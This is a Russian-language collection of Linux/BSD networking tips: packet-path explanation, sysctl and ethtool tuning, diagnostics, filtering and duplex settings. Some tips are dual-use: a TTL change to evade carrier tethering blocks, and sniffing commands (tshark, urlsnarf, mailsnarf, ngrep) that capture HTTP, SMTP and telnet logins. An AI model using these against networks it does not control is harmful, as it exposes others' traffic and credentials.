    22. Поставит пакет в входящий буфер, размер которого определяется правилами
    `tcp_rmem`. Если `tcp_moderate_rcvbuf` включён, ядро будет автоматически тюнить
     буфер приёма (receive)
    
    23. Ядро сигнализирует приложению, что доступны данные (epoll или другая  polling-система)
    
    24. Приложение просыпается и читает данные
    
    Исходящие пакеты (Egress)
    
    1. Приложение отправляет сообщение (`sendmsg` или другие)
    
    2. TCP-стек выделяет память для skb_buff
    
    3. Помещает skb в сокет буфера, размером `tcp_wmem`
    
    4. Создаст TCP заголовки (источник и порт назначения, контрольная сумма)
    
    5. Вызывает обработчик L3 (в данном случае `ipv4` в `tcp_write_xmit` и 
    `tcp_transmit_skb`)
    
    6. L3 (`ip_queue_xmit`)  построит заголовок IP и вызовет netfilter (`LOCAL_OUT`)
    
    7. Вызывает действие выходного маршрута (Calls output route action)
    
    8. Вызывает netfilter (`POST_ROUTING`)
    
    9. Фрагментирует пакет (`ip_output`)
    
    10. Вызывает функции отправки L2 (`dev_queue_xmit`)
    
    11. Подаёт на выход (QDisc) очередь длинной `txqueuelen` с алгоритмом `default_qdisc`
    
    12. Код драйвера помещает пакеты в `ring buffer tx`
    
    13. Драйвер генерирует `soft IRQ (NET_TX_SOFTIRQ)` после `tx-usecs` таймаута или `tx-frames`
    
    14. Реактивирует аппаратное прерывание (IRQ) в NIC
    
    15. Драйвер отражает (map) все пакеты (для отправки) в некоторую область DMA
    
    16. NIC получит пакеты (через DMA) из RAM для передачи
    
    17. После передачи NIC поднимет сигнал `hard IRQ` о его завершении
    
    18. Драйвер обработает это прерывание IRQ (выключает)
    
    19. И планирует (`soft IRQ`) NAPI poll system 
    
    20. NAPI будет обрабатывать сигналы приёма пакетов и освобождать ОЗУ
    
    
    Для отслеживания обработки событий, связанных с выполнением сетевой операции,
    можно использовать команду:
    
       perf trace --no-syscalls --event 'net:*' ping globo.com -c1 > /dev/null
    
    
    
    
    Что, Почему и Как - сеть и  sysctl параметры
    
    Кольцевой буфер (Ring Buffer) - rx, tx
    
    Что: драйвер очереди приёма/отправки одной или нескольких очередей с
    фиксированным размером, обычно реализованный как FIFO, находится в ОЗУ
    
    Почему: буфер для плавного прима соединений без их отбрасывания. Возможно, вам
    понадобится увеличить эти очереди, когда вы увидите сбросы (drops) или
    переполнения, то есть, если поступает больше пакетов, чем ядро может
    обработать. Побочным эффектом от увеличения буфера может стать увеличение задержки.
    
    Как:
    
    Команда проверки: 
    
       ethtool -g ethX
    
    Как изменить: 
    
       ethtool -G ethX rx значение tx значение
    
    Как мониторить: 
    
       ethtool -S ethX | grep -e "err" -e "drop" -e "over" -e "miss" -e "timeout" -e "reset" -e "restar" -e "collis" -e "over" | grep -v "\: 0"
     
    Слияние прерываний (Interrupt Coalescence - IC) - rx-usecs, tx-usecs,
    rx-frames, tx-frames (аппаратные IRQ)
    
    Что: количество микросекунд / кадров, ожидающих перед поднятием hard IRQ, с
    точки зрения сетевого адаптера это будет пакеты данных DMA до этого тайм-аута /
    количества кадров
    
    Почему: сокращение использования CPUs, аппаратных IRQ, может увеличить
    пропускную способность за счет задержки.
    
    Как:
    
    Команда проверки:
    
       ethtool -c ethX
    
    Как изменить:
    
       ethtool -C ethX rx-usecs value tx-usecs value
    
    Как мониторить:
    
       cat /proc/interrupts
      
    
    Объединение прерываний (soft IRQ) и   управления сетевыми очередями  QDisc
    входящих пакетов (ingress).
    
    
    Что: максимальное число микросекунд в одном NAPI
    (https://en.wikipedia.org/wiki/New_API) цикле опроса. Опрос завершится когда,
    либо `netdev_budget_usecs` истечёт по временя цикла опроса или количество
    обработанных пакетов достигнет `netdev_budget`.
    
    Почему: вместо того чтобы обрабатывать кучу softIRQ, драйвер сохраняет данные в
    пуле (polling data); следите за состояниями `dropped` (число пакетов,
    отброшенных из-за того, что `netdev_max_backlog` был превышен) и  `squeezed`
    (число раз когда ksoftirq превысил `netdev_budget`).
    
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_budget_usecs
    
    Как изменить:
    
       sysctl -w net.core.netdev_budget_usecs value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    Что: `netdev_budget` максимальное количество пакетов, взятых со всех
    интерфейсов за один цикл опроса (NAPI poll). В одном цикле опроса интерфейсы,
    которые зарегистрированы для опроса, зондируются круговым способом. Кроме того,
    цикл опроса не может превышать `netdev_budget_usecs` микросекунд, даже если
    `netdev_budget` не был исчерпан.
    
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_budget
    
    Как изменить:
    
       sysctl -w net.core.netdev_budget value
    
    Как мониторить:
    
    cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    Что: `dev_weight` максимальное количество пакетов, которое ядро может
    обработать при прерывании NAPI, это переменная для каждого процессора. Для
    драйверов, которые поддерживают LRO или GRO_HW, аппаратно агрегированный пакет
    считается в этом пакете одним.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.dev_weight
    
    Как изменить:
    
      sysctl -w net.core.dev_weight value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat 
    
    или скриптом.
    
    
    Что: `netdev_max_backlog` максимальное количество пакетов, находящихся в
    очереди на стороне INPUT (входной qdisc_), когда интерфейс получает пакеты
    быстрее, чем ядро может их обработать.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_max_backlog
    
    Как изменить:
    
       sysctl -w net.core.netdev_max_backlog value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    
    Исходящие QDisc - txqueuelen (длина очереди tx) и default_qdisc
    
    
    Что: `txqueuelen` максимальное количество пакетов, поставленных в очередь на стороне вывода.
    
    Почему: buffer/queue появление разрывов соединений, а также примением контроля трафика
    tc (traffic control).
    
    Как:
    
    Команда проверки:
    
       ifconfig ethX
    
    Как изменить:
    
       ifconfig ethX txqueuelen value
    
    Как мониторить:
    
       ip -s link
    
     
    Что: `default_qdisc` дисциплина очереди по умолчанию, используемая для сетевых устройств.
    
    Почему: Каждое приложение имеет разную нагрузку и требует контроля трафика, оно
    также используется для борьбы с  излишней сетевой буферизацией bufferbloat.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.default_qdisc
    
    
    Как изменить: 
    
       sysctl -w net.core.default_qdisc value
    
    Как мониторить:
    
       tc -s qdisc ls dev ethX
    
    
    Буферы/очереди чтения и записи (TCP Read and Write Buffers/Queues)
    
    Что: `tcp_rmem` - min (минимальный размер доступный при создании сокета),
    default (начальный размер), max (максимальный размер) - максимальный размер
    приёмного буфера TCP.
    
    Почему: буфер/очередь приложения для записи/отправки данных. Понять последствия
    может помочь статья https://blog.cloudflare.com/the-story-of-one-latency-spike/
    
    Как:
    
    Команда проверки:
    
       sysctl net.ipv4.tcp_rmem
    
    Как изменить: 
    
       sysctl -w net.ipv4.tcp_rmem="min default max"
    
    когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
    пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    Что: `tcp_wmem` - min (минимальный размер доступный при создании сокета),
    default (начальный размер), max (максимальный размер) - размер буфера отправки,
    используемого сокетами TCP.
    
    Как:
    
    Команда проверки: 
    
       sysctl net.ipv4.tcp_wmem
    
    
    Как изменить:
    
       sysctl -w net.ipv4.tcp_wmem="min default max"
    
    когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
    пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    
    Что: `tcp_moderate_rcvbuf` - если установлено, TCP выполняет автонастройку
    приёмного буфера, пытаясь автоматически определить размер буфера.
    
    Как:
    
    Команда проверки:
    
      sysctl net.ipv4.tcp_moderate_rcvbuf
    
    Как изменить:
    
       sysctl -w net.ipv4.tcp_moderate_rcvbuf value
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    TCP FSM и алгоритм перегрузки (Honorable mentions - TCP FSM and congestion algorithm)
    
    
  • `sysctl net.core.somaxconn` - обеспечивает верхний предел значения параметра backlog, передаваемого в функцию `listen()` (https://eklitzke.org/how-tcp-sockets-work), известный пользователям как `SOMAXCONN`. Если вы меняете это значение, вы также должны изменить в своём приложении совместимые значения (т.е. nginx backlog).
  • `cat /proc/sys/net/ipv4/tcp_fin_timeout` - указывает количество секунд ожидания окончательного пакета FIN, прежде чем сокет будет принудительно закрыт. Это строго является нарушением спецификации TCP, но требуется для предотвращения атак типа "отказ в обслуживании".
  • `cat /proc/sys/net/ipv4/tcp_available_congestion_control` - показывает доступные варианты управления перегрузкой, которые зарегистрированы.
  • `cat /proc/sys/net/ipv4/tcp_congestion_control` - устанавливает алгоритм управления перегрузкой, используемое для новых соединений.
  • `cat /proc/sys/net/ipv4/tcp_max_syn_backlog` - задаёт максимальное число запросов подключения в очереди, которые еще не получили подтверждения от подключающегося клиента; если это число будет превышено, ядро начнёт отбрасывать запросы.
  • `cat /proc/sys/net/ipv4/tcp_syncookies` - включён/выключен [syn cookies](https://en.wikipedia.org/wiki/SYN_cookies), полезен для защиты от syn flood атак (https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/).
  • `cat /proc/sys/net/ipv4/tcp_slow_start_after_idle` - включён/выключен медленный старт tcp. Как мониторить: общая сводка netstat -atn | awk '/tcp/ {print $6}' | sort | uniq -c счётчики по определённому состоянию: `established`, `syn-sent`, `syn-recv`, `fin-wait-1`, `fin-wait-2`, `time-wait`, `closed`, `close-wait`, `last-ack`, `listening`, `closing`: ss -neopt state time-wait | wc -l` tcp статистика netstat -st более читаемая tcp статистика nstat -a обобщённая статистика сокетов cat /proc/net/sockstat детальная статистика, описание полей смотрите: https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt cat /proc/net/tcp `ListenOverflows` и `ListenDrops` - важные поля для наблюдения cat /proc/net/netstat читаемый вариант /proc/net/netstat (https://sa-chernomor.livejournal.com/9858.html) cat /proc/net/netstat | awk '(f==0) { i=1; while ( i<=NF) {n[i] = $i; i++ }; f=1; next} \ (f==1){ i=2; while ( i<=NF){ printf "%s = %d\n", n[i], $i; i++}; f=0} ' | grep -v "= 0 Источник: https://commons.wikimedia.or/wiki/File:Tcp_state_diagram_fixed_new.svg Сетевые утилиты для тестирования и мониторинга
  • iperf3 (https://iperf.fr/) - пропускная способность сети
  • vegeta (https://github.com/tsenart/vegeta) - нагрузочное тестирование HTTP
  • netdata (https://github.com/firehol/netdata) - система распределённого мониторинга производительности и работоспособности в реальном времени Рекомендации
  • https://www.kernel.org/doc/Documentation/sysctl/net.txt
  • https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt
  • https://www.kernel.org/doc/Documentation/networking/scaling.txt
  • https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt
  • https://www.kernel.org/doc/Documentation/networking/multiqueue.txt
  • http://man7.org/linux/man-pages/man7/tcp.7.html
  • http://man7.org/linux/man-pages/man8/tc.8.html
  • http://www.ece.virginia.edu/cheetah/documents/papers/TCPlinux.pdf
  • https://netdevconf.org/1.2/papers/bbr-netdev-1.2.new.new.pdf
  • https://blog.cloudflare.com/how-to-receive-a-million-packets/
  • https://blog.cloudflare.com/how-to-achieve-low-latency/
  • https://blog.packagecloud.io/eng/2016/06/22/monitoring-tuning-linux-networking-stack-receiving-data/
  • https://www.youtube.com/watch?v=6Fl1rsxk4JQ
  • https://oxnz.github.io/2016/05/03/performance-tuning-networking/
  • https://www.intel.com/content/dam/www/public/us/en/documents/reference-guides/xl710-x710-performance-tuning-linux-guide.pdf
  • https://access.redhat.com/sites/default/files/attachments/20150325_network_performance_tuning.pdf
  • https://medium.com/@matteocroce/linux-and-freebsd-networking-cbadcdb15ddd
  • https://blogs.technet.microsoft.com/networking/2009/08/12/where-do-resets-come-from-no-the-stork-does-not-bring-them/
  • https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/multi-core-processor-based-linux-paper.pdf
  • http://syuu.dokukino.com/2013/05/linux-kernel-features-for-high-speed.html
  • https://www.bufferbloat.net/projects/codel/wiki/Best_practices_for_benchmarking_Codel_and_FQ_Codel/
  • https://software.intel.com/en-us/articles/setting-up-intel-ethernet-flow-director
  • https://courses.engr.illinois.edu/cs423/sp2014/Lectures/LinuxDriver.pdf
  • https://www.coverfire.com/articles/queueing-in-the-linux-network-stack/
  • http://vger.kernel.org/~davem/skb.html
  • https://www.missoulapubliclibrary.org/ftp/LinuxJournal/LJ13-07.pdf
  • https://opensourceforu.com/2016/10/network-performance-monitoring/
  • https://www.yumpu.com/en/document/view/55400902/an-adventure-of-analysis-and-optimisation-of-the-linux-networking-stack
  • https://lwn.net/Articles/616241/
  • https://medium.com/@duhroach/tools-to-profile-networking-performance-3141870d5233
  • https://www.lmax.com/blog/staff-blogs/2016/05/06/navigating-linux-kernel-network-stack-receive-path/
  • https://es.net/host-tuning/100g-tuning/
  • http://tcpipguide.com/free/t_TCPOperationalOverviewandtheTCPFiniteStateMachineF-2.htm
  • http://veithen.github.io/2014/01/01/how-tcp-backlog-works-in-linux.html
  • https://people.cs.clemson.edu/~westall/853/tcpperf.pdf
  • http://tldp.org/HOWTO/Traffic-Control-HOWTO/classless-qdiscs.html
  • https://es.net/assets/Papers-and-Publications/100G-Tuning-TechEx2016.tierney.pdf
  • https://www.kernel.org/doc/ols/2009/ols2009-pages-169-184.pdf
  • https://devcentral.f5.com/articles/the-send-buffer-in-depth-21845
  • http://packetbomb.com/understanding-throughput-and-tcp-windows/
  • https://www.speedguide.net/bdp.php
  • https://www.switch.ch/network/tools/tcp_throughput/
  • https://www.ibm.com/support/knowledgecenter/en/SSQPD3_2.6.0/com.ibm.wllm.doc/usingethtoolrates.html
  • https://blog.tsunanet.net/2011/03/out-of-socket-memory.html
  • https://unix.stackexchange.com/questions/12985/how-to-check-rx-ring-max-backlog-and-max-syn-backlog-size
  • https://serverfault.com/questions/498245/how-to-reduce-number-of-time-wait-processes
  • https://unix.stackexchange.com/questions/419518/how-to-tell-how-much-memory-tcp-buffers-are-actually-using
  • https://eklitzke.org/how-tcp-sockets-work
  • https://www.linux.com/learn/intro-to-linux/2017/7/introduction-ss-command
  • https://staaldraad.github.io/2017/12/20/netstat-without-netstat/
  • https://loicpefferkorn.net/2016/03/linux-network-metrics-why-you-should-use-nstat-instead-of-netstat/
  • http://assimilationsystems.com/2015/12/29/bufferbloat-network-best-practice/
  •  
    ----* Актуальность опции TCP_NODELAY для распределённых приложений (доп. ссылка 1)   [комментарии]
     
    Один из инженеров Amazon Web Services (AWS) разобрал заблуждения, связанные
    с повышением эффективности передачи мелких сообщений при  использовании
    алгоритма Нейгла, применяемого по умолчанию в TCP/IP стеке.
    
    Рекомендации сводятся к отключению по умолчанию алгоритма Нейгла через
    выставление опции TCP_NODELAY для сетевых сокетов при помощи вызова  setsockopt.
    
       setsockopt(descriptor, SOL_TCP, TCP_NODELAY, &one, sizeof(one));
    
    
    Алгоритм Нейгла позволяет агрегировать мелкие сообщения для снижения трафика  -
    приостанавливает отправку новых сегментов TCP до получения подтверждения о
    приёме ранее отправленных данных. Например, без применения агрегирования при
    отправке 1 байта, дополнительно отправляется 40 байтов с заголовками пакета. В
    современных условиях использование  алгоритма Нейгла приводит к заметному
    возрастанию задержек, неприемлемых для интерактивных и распределённых приложений.
    
    Приводится три основных довода в пользу использования по умолчанию опции
    TCP_NODELAY, отключающей алгоритм Нейгла:
    
    1. Несовместимость алгоритма Нейгла  с оптимизацией "delayed ACK", при которой
    ACK-ответ направляется не сразу, а после получения ответных данных. Проблема в
    том, что в алгоритме Нейгла поступление ACK-пакета является сигналом для
    отправки агрегированных данных, а если ACK-пакет не поступил, отправка
    выполняется при наступлении таймаута. Таким образом, возникает замкнутый круг и
    ACK-пакет как сигнал не работает, так как другая сторона не получает данные
    из-за их накопления на стороне отправителя, а отправитель не отправляет их до
    таймаута, так как не получает ACK-пакет.
    
    2. RFC для алгоритма Нейгла принят в 1984 году и он не рассчитан на параметры
    современных высокоскоростных сетей и серверов в датацентрах, что приводит к
    возникновению проблем с отзывчивостью. Задержка между отправкой запроса и
    получением ответа (RTT) в современных сетях составляет 0.5 мс + несколько
    миллисекунд при обмене данными между датацентрами в одном регионе + до сотни
    миллисекунд при отправке по всему миру. За эти миллисекунды современный сервер
    способен выполнить огромный объём работы.
    
    3. Современные распределённые приложения давно не отправляют единичные байты
    данных, а агрегирование мелких данных обычно реализуется на уровне приложения.
    Даже если размер полезных данных составляет 1 байт, то, как правило, фактически
    размер отправляемой информации существенно возрастает после применения
    сериализации,  использования API-обвязок    в JSON и отправки с использованием
    TLS-шифрования. Экономия 40 байтов становится не столь актуальной.
    
     
    ----* Полезные пакеты, которые можно установить на сервер для диагностики сбоев (доп. ссылка 1)   [комментарии]
     
    Минимальный набор пакетов  для диагностики проблем, которые рекомендуется
    заранее установить на серверы, чтобы не тратить время на установку
    дополнительных пакетов или поиск специализированных live-дистрибутивов.
    
    Установка диагностических утилит во время сбоя может превратиться в решение
    отдельной проблемы или потребовать много времени,  учитывая то, что во время
    сбоя может пропадать сетевое соединение, возникнуть проблемы с DNS, наблюдаться
    большие потери пакетов или снижение полосы пропускания, возникать большие
    задержки ввода команд из-за высокой нагрузки на CPU или исчерпания памяти,
    дисковый раздел может быть переведён в режим только для чтения и т.п.
    
    Список пакетов для предустановки (названия для Ubuntu) и поставляемые в них
    диагностические утилиты:
    
    
  • procps - утилиты ps, vmstat, uptime, top
  • util-linux - dmesg, lsblk, lscpu (общая статистика, информация о блочных устройствах и CPU)
  • sysstat - iostat, mpstat, pidstat, sar (оценка производительности)
  • iproute2 - ip, ss, nstat, tc (настройка сети и управление трафиком)
  • numactl - numastat (статистика по NUMA)
  • tcpdump - tcpdump (анализ трафика)
  • linux-tools-common и linux-tools-$(uname -r) - perf, turbostat (профилировние и мониторинг производительности)
  • bpfcc-tools (bcc) - opensnoop, execsnoop, runqlat, softirqs, hardirqs, ext4slower, ext4dist, biotop, biosnoop, biolatency, tcptop, tcplife, trace, argdist, funccount, profile (диагностика на базе eBPF)
  • bpftrace - bpftrace, opensnoop, execsnoop, runqlat, biosnoop (диагностика на базе eBPF)
  • trace-cmd - trace-cmd (CLI-интерфейс для ftrace)
  • nicstat - nicstat (информация о сетевых устройствах)
  • ethtool - ethtool (информация о сетевых устройствах)
  • tiptop - tiptop (PMU/PMC top)
  • cpuid - cpuid (информация о CPU)
  • msr-tools - rdmsr, wrmsr (информация о CPU) sudo apt install procps util-linux sysstat iproute2 numactl tcpdump linux-tools-common linux-tools-$(uname -r) bpfcc-tools bpftrace trace-cmd nicstat ethtool tiptop cpuid msr-tools
  •  
    ----* Обход блокировки сотовыми операторами использования смартфона в качестве точки доступа   [комментарии]
     
    Некоторые сотовые операторы начали вводить в практику блокировку или замедление
    доступа для соединений, установленных со сторонних устройств, подключающихся
    через смартфон, работающий в режиме точки доступа ("tethering").
    
    
    Как правило подобные блокировки основываются на привязке к TTL и обойти их
    можно увеличив TTL с 64 до 65, что скроет наличие дополнительного хоста в цепочке.
    
    В системах на базе ядра Linux:
    
       sysctl net.ipv4.ip_default_ttl=65
    
    Во FreeBSD:
    
       sysctl net.inet.ip.ttl=65
    
    Изменить TTL для транзитных пакетов в Linux можно при помощи пакетного фильтра:
    
       iptables -t mangle -A POSTROUTING -o usb0 -j TTL --ttl-set 65
    
     
    ----* Решение проблемы с uTP-протоколом uTorrent (доп. ссылка 1)   Автор: Zzz  [комментарии]
     
    По многочисленным наблюдениям системных администраторов различных компаний
    предоставляющих доступ к сети интернет, с начала февраля 2010 года наблюдается
    ежедневный лавинообразный рост количества пакетов в сети, их фрагментация, а
    также существенный рост исходящего трафика. Данная проблема связана с новой
    версией торрент-клиента uTorrent вышедшего 3 февраля 2010 года с поддержкой
    протокола uTP, работающего поверх UDP. Призванный снизить нагрузку на
    провайдеров протокол uTP в результате привел к обратному эффекту.
    
    Для относительно безболезненной для клиента фильтрации uTP на шлюзе под
    управлением Linux рекомендуется использовать следующее правило:
    
       /sbin/iptables -I FORWARD -m udp -p udp -m string --hex-string "|7F FF FF FF AB|" --algo kmp \
          --from 40 --to 44 -m statictic --mode random --probability 0.90 -j DROP
    
    Мониторинг работы правила:
    
       iptables -L FORWARD -nv | grep statist
    
    Для FreeBSD правило будет выглядеть следующим образом:
    
       ngctl mkpeer ipfw: bpf 2 main
       ngctl name ipfw:2 utp_filter
       ngctl msg utp_filter: setprogram { thisHook=\"main\" ifMatch=\"\" ifNotMatch=\"main\" bpf_prog_len=12 bpf_prog=[ 
          { code=48 jt=0 jf=0 k=0 } { code=84 jt=0 jf=0 k=240 } { code=21 jt=0 jf=8 k=64 } { code=48 jt=0 jf=0 k=9 } 
          { code=21 jt=0 jf=6 k=17 } { code=40 jt=0 jf=0 k=6 } { code=69 jt=4 jf=0 k=8191 } { code=177 jt=0 jf=0 k=0 } 
          { code=64 jt=0 jf=0 k=20 } { code=21 jt=0 jf=1 k=2147483647 } { code=6 jt=0 jf=0 k=65535 } { code=6 jt=0 jf=0 k=0 } ] }
    
       ipfw add 2 netgraph 2 udp from any to any iplen 0-128
    
    Мониторинг:
    
       ngctl msg utp_filter: getstats \"main\"
    
     
    ----* Tshark для мониторинга запросов http (доп. ссылка 1)   Автор: CHAPPAY  [комментарии]
     
    Tshark из комплекта сниффера Wireshark (http://www.wireshark.org/) позволяет
    наглядно проследить запросы к http-серверу.
    
    Пример для интерфейса eth0:
    
       tshark -npi eth0 -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src -e ip.dst \
          -e http.request.method -e http.host -e http.request.uri 
    
    За одним можно автоматически найти имя интерфейса в Linux и удалить временные
    файлы, которые программа обычно забывает удалять.
    
    Для Linux:
    
       tshark -npi `netstat -rn | grep "^0.0.0.0" | awk '{ print $8 }'` \
          -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src \
          -e ip.dst -e http.request.method -e http.host -e http.request.uri
        rm -f /tmp/ether*
    
    Для FreeBSD:
    
       tshark -npi `netstat -rn | grep "default" | awk '{ print $6 }'` \
          -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src \
          -e ip.dst -e http.request.method -e http.host -e http.request.uri
       rm -f /tmp/ether*
    
    
    Для уменьшения нагрузки можно ограничить выборку пакетами небольшой длины,
    добавив "and less 600", например, "tcp and dst port 80 and less 600".
    
    Другие варианты:
    
    1. утилита urlsnarf из состава пакета dsniff. 
    Также можно отметить и другие похожие утилиты из данного пакета: filesnarf,
    mailsnarf, msgsnarf, webspy, позволяющие перехватывать почтовые сообщения,
    передаваемые файлы и т.п.
    
       urlsnarf -i eth0
       urlsnarf -i eth1 -n .\* tcp port 80 and less 600
    
    2. justniffer (http://justniffer.sourceforge.net/) - выводит перехваченные
    HTTP-пакеты в формате стандартного лога Apache:
    
       justniffer -i eth0
    
    Позволяет оценивать время выполнения запроса:
    
       justniffer -i eth0 -a " %response.time" 
    
    Выводить полный дамп HTTP-заголовков:
    
       justniffer -i eth0 -r 
    
    Самостоятельно определять формат вывода:
    
       justniffer -i eth0 -l " %request.timestamp %source.ip %dest.ip %request.header.host %request.url" 
    
     
    ----* Решение проблемы с крахом Net-SNMP   [обсудить]
     
    В один прекрасный момент Net-SNMP начал слетать с оставлением в логе ошибки:
    
       error on subcontainer 'ia_addr' insert (-1)
       error on subcontainer 'ia_index' insert (-1)
       couldn't map value 56 for ipAddressAddrType
    
    Слетал в произвольный момент после нескольких минут ответов на запросы.
    
    Мониторинг через:
    
       tcpdump -i any -n udp port 161
    
    не показал какой-то зависимости падения от типа входящих запросов.
    
    В итоге оказалось, что случайно на два разных vlan интерфейса добавили один и тот же IP,
    это и приводило к столь странному краху snmpd.
    
    В Linux при большом числе VLAN или PPP интерфейсов, дубликат можно определить командой:
    
       ifconfig|grep 'inet addr'|awk '{print $2}'|sort|uniq -c |sort -n -r|head
    
    При необходимости наличия дубликатов, например, в ситуации когда в нескольких
    виртуальных окружениях
    одинаковые IP, проблему поможет решить патч:
    http://www.redhat.com/archives/fedora-extras-commits/2007-November/msg04807.html
    
     
    ----* Управление дуплексным режимом и скоростью линка в различных ОС. (доп. ссылка 1)   [комментарии]
     
    Solaris
    
       Проверка:
          ndd /dev/hme link_mode
          0 = half duplex, 1 = full duplex
       Установка full duplex:
          ndd -sec /dev/hme adv_100fdx_cap
          ndd -set /dev/hme adv_autoneg_cap 0 
       Установка half duplex:
          ndd -sec /dev/hme adv_100hdx_cap
          ndd -set /dev/hme adv_autoneg_cap 0 
    
    Linux
       Текущее состояние
          mii-tool eth0
          ethtool eth0
       Установка full duplex:
          mii-tool -F 100baseTx-FD eth0
          ethtool -s eth0 speed 1000 duplex full autoneg off
       некоторые драйверы можно настроить через /etc/modules.conf
          options eepro100 options=48
          options 3c59x  options=0x204 full_duplex=0x200
    
    FreeBSD
    
       Установка full duplex:
          ifconfig xl0 media 100baseTX mediaopt full-duplex
       Установка half duplex:
          ifconfig xl0 media 100baseTX mediaopt half-duplex
    
    IBM AIX
    
       Список адаптеров и проверка режима:
          lsdev -HCc adapter
          lsattr -d ent# 
       Установка full duplex:
         chdev  -l ent# -a media_speed=100_Full_Duplex -P
       Установка half duplex:
         chdev  -l ent# -a media_speed=100_Half_Duplex -P
    
    HP-UX
       Список адаптеров и проверка режима:
          lanscan -n  (HP-UX 10.x)
          lanscan -p  (HP-UX 11.x)
          lanadmin -x NMid# (HP-UX 10.x)
          lanadmin -x PPA#  (HP-UX 11.x)
      Установка full duplex:
          lanadmin -X 100FD NMid# (HP-UX 10.x)
          lanadmin -X 100FD PPA#  (HP-UX 11.x)
     Установка half duplex:
          lanadmin -X 100HD NMid# (HP-UX 10.x)
          lanadmin -X 100HD PPA#  (HP-UX 11.x)
    
     
    ----* Как увеличить размер таблицы контроля сессий ip_conntrack в Linux   [комментарии]
     
    Если ядро ругается "kernel: ip_conntrack: table full, dropping packet.", причину флуда 
    (скорее всего вирус или сканирование портов) можно найти по списку /proc/net/ip_conntrack
    Если просто общая загрузка большая, увеличить размер таблицы можно через /proc/sys/net/ipv4/ip_conntrack_max
    
    Также можно увеличить размерность хэша через параметр  hashsize модуля ip_conntrack:
    /etc/modules.conf:
       options ip_conntrack hashsize=N
    
    Более тонкий тюнинг можно произвести через переменные определенные в /proc/sys/net/ipv4/netfilter
    
     
    ----* Примеры использования ngrep для выборки и просмотра содержимого пакетов (доп. ссылка 1)   Автор: Mayank Sharma  [комментарии]
     
    ngrep служит для отображения проходящих сетевых пакетов удовлетворяющих заданной маске.
    Как мне кажется ngrep гораздо проще и удобнее, чем tcpdump. Вот несколько примеров:
    
    Показать содержимое всех пакетов, прошедших по 80 порту, со словом google 
       ngrep google port 80 
    
    Вывод пакетов удовлетворяющих маске по одному в строке, для интерфейса eth0:
       ngrep -i \'game*|chat|recipe\' -W byline -d eth0
    
    Слушать весь SMTP трафик на всех сетевых интерфейсах:
       ngrep -i \'rcpt to|mail from\' -d any tcp port smtp
    
    Показать текущее время для каждого совпадения (кто и когда заходит на машину телнетом):
       ngrep -q -t -wi "login" port 23
    
     
    ----* Почему в FreeBSD 5.3 не работает форвадинг пакетов (ipfw fwd) (доп. ссылка 1)   Автор: Bushi  [комментарии]
     
    Это ошибка в FreeBSD 5.3, патч здесь:
    http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/71910
    
     
    ----* Как сгенерировать IPv6 пакет для отладки сети. (доп. ссылка 1)   [обсудить]
     
    # netwox 142 --device "Eth0" --eth-dst "0:8:9:a:b:c" --ip6-src "fec0:0:0:1::1" 
         --ip6-dst "fec0:0:0:1::2" --tcp-src "1234" --tcp-dst "80" --tcp-syn
    # netwox 142 --device "Eth0" --eth-src "00:11:22:33:44:55" --eth-dst "0:8:9:a:b:c" 
         --ip6-src "fec0:0:0:1::1" --ip6-dst "fec0:0:0:1::2" --tcp-src "1235" --tcp-dst "80" --tcp-syn
    
    142 - код операции "Spoof EthernetIp6Tcp", netwox - http://laurentconstantin.by.ru/ru/
    
     
    ----* Почему при использовании туннеля возникают проблемы с некоторыми хостами. (доп. ссылка 1)   [комментарии]
     
    Выход - поставить на интерфейсе туннеля MTU 1500, вместо 1476.
    Проблема возникает при попытке протолкнуть пакет размером 1500 байт 
    с выставленным DF (don't fragment запрещена фрагментация) битом через интерфейс 1476 байт. 
    Другие решения:
    interface ethernet0 
     ip policy route-map clear-df 
    route-map clear-df permit 10 
     match ip address 101 
     set ip df 0 
    access-list 101 permit tcp 10.1.3.0 0.0.0.255 any 
    
    или
    interface tunnel0 
     ip tcp adjust-mss 1436
    
     
    ----* В чем может быть причина неработы ассиметричного рутинга под Linux. (доп. ссылка 1)   [обсудить]
     
    Linux отказывается маршрутизировать пакеты между двумя сетевыми 
    картами, кода пакет входит через один интерфейс и выходит через другой, если
    включен rp_filter (RFC1812).
    
    Необходимо отключить rp_filter:
       /sbin/sysctl -w net.ipv4.conf.default.rp_filter = 0
       /sbin/sysctl -w net.ipv4.conf.all.rp_filter = 0
    
    Для FreeBSD можно посоветовать:
       в /etc/rc.conf: tcp_extensions="NO"
       или sysctl -w net.inet.tcp.rfc1323=0
       А так же sysctl -w net.inet.tcp.rfc1644=1 и sysctl -w net.inet.tcp.rfc1323=0
    
     
    ----* С чем может быть связаны потери пакетов и нестабильная работа ethernet карт ? (доп. ссылка 1)   [комментарии]
     
    Приходилось сталкиваться с проблемами согласования режимов работы карт Intel EtherExpress 100 и 
    Reltek  RTL-8139 c коммутаторами и концентраторами различных производителей. Несогласование 
    проявляется, например в работе карты в режиме half-duplex, а свича в
    full-duplex и т.д. (в linux: /sbin/mii-tool -F 100baseTx-FD eth0)
    
     
